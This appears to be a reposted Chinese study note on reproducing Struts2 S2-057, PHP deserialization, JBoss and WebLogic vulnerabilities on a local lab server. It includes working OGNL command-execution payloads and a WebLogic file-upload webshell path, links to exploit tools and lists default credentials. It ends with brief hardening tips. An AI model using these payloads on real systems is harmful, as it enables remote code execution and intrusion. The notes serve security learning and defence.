Struts S2-052漏洞利用之Meterpreter(CVE-2017-9805)
https://www.cnblogs.com/Hi-blog/p/7510987.html

(5) S2-057漏洞复现(需要参数alwaysSelectFullNamespace被设置为true)
Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现
http://192.168.0.127:8080/struts2-showcase//actionChain1.action

参考文章:
https://blog.csdn.net/weixin_43625577/article/details/97111575
https://www.sinesafe.com/article/20180823/struts2057.html

注意事项:
首先在struts.xml配置文件添加
其次修改配置文件struts-actionchaining.xml 删掉namespace属性,或使用了通配符*
最后把type="chain"改成type="redirectAction"

攻击payload:
http://192.168.0.127:8080/struts2-showcase/${(1+1)}/actionChain1.action

${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc.exe')}

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

二、反序列化漏洞
1、什么是反序列化
就是把一个对象变成可以传输的字符串,目的就是为了方便传输。假设,我们写了一个class,这个class里面存有一些变量。当这个class被实例化了之后,在使用过程中里面的一些变量值发生了改变。以后在某些时候还会用到这个变量,如果我们让这个class一直不销毁,等着下一次要用它的时候再一次被调用的话,浪费系统资源。当我们写一个小型的项目可能没有太大的影响,但是随着项目的壮大,一些小问题被放大了之后就会产生很多麻烦。这个时候PHP就和我们说,你可以把这个对象序列化了,存成一个字符串,当你要用的时候再放他出来就好了。在我们讲PHP反序列化的时候,基本都是围绕着serialize(),unserialize()这两个函数。

详细参考:https://chybeta.github.io/2017/06/17/浅谈php反序列化漏洞/

2、反序列化漏洞产生的原理

3、PHP反序列化漏洞实战

在线反序列化工具:https://www.w3cschool.cn/tools/index?name=unserialize

O:1:"S":1:{s:4:"test";s:29:"";}

->在php里是调用对象方法很或者属性的运算符。在一个类中,类的函数需要调用自身的方法或者属性需要用$this->来调用,而在类的实例中,也是通过->来调用的,只是前面的变量不是$this

4、jboss反序列化漏洞还原
http://192.168.0.127:7474/test3693/

5、Weblogic反序列化漏洞还原
启动weblogic startweblogic.cmd
http://192.168.0.127:7001/console/login/LoginForm.jsp

Weblogic 常见漏洞有那些:弱口令、Java 反序列化漏洞操作(CVE-2018-2628)、
任意文件上传漏洞操作(CVE-2018-2894)、XML Decoder 反序列化漏洞操作(CVE-2017-10271)、SSRF 漏洞(需要安装Weblogic时选择UDDI组件)、反序列化漏洞(CVE-2019-2725 参考https://www.0dayhack.com/post-883.html)

(1)、弱口令
(2)、反序列化漏洞
(3)、任意文件上传漏洞操作(CVE-2018-2894)
未授权访问路径:http://192.168.0.127:7001/ws_utc/config.do
Weblogic默认路径:
C:OracleMiddlewareOracle_Homeuser_projectsdomainsase_domain mpWSTestPageWorkDir
我们改成以下路径
C:OracleMiddlewareOracle_Homeuser_projectsdomainsase_domainserversAdminServer mp_WL_internalwstestclienti7n5e1warcss
木马上传上去之后,访问方式如下:
http://192.168.0.127:7001/ws_utc/css/config/keystore/1567568546449_2019.jsp

(4)、SSRF 漏洞(可参考:https://www.jianshu.com/p/97b157a20108)

6、jboss反序列化漏洞
默认后台地址:http://localhost:8080/jmx-console
jboss默认端口:8080 帐号和密码admin

历史漏洞参考;https://www.seebug.org/appdir/JBoss
https://www.jianshu.com/p/e34062e0a6f1

新漏洞利用工具下载:https://github.com/yunxu1/jboss-_CVE-2017-12149
老漏洞综合利用工具下载:https://download.csdn.net/download/sinat_26474359/10650591

三、安全防范
1、安全配置好php相关参数
通过Php配置文件里面有个disable_functions = 配置,这个禁止某些php函数,
服务器便是用这个来禁止php的执行命令函数。

例如:
disable_functions =system,passthru,shell_exec,exec,popen
便禁止了用这些函数来执行系统命令

2、升级中间件

3、严格控制传入变量,严谨使用魔法函数

Songzhibin
原文地址:https://www.cnblogs.com/binHome/p/13408882.html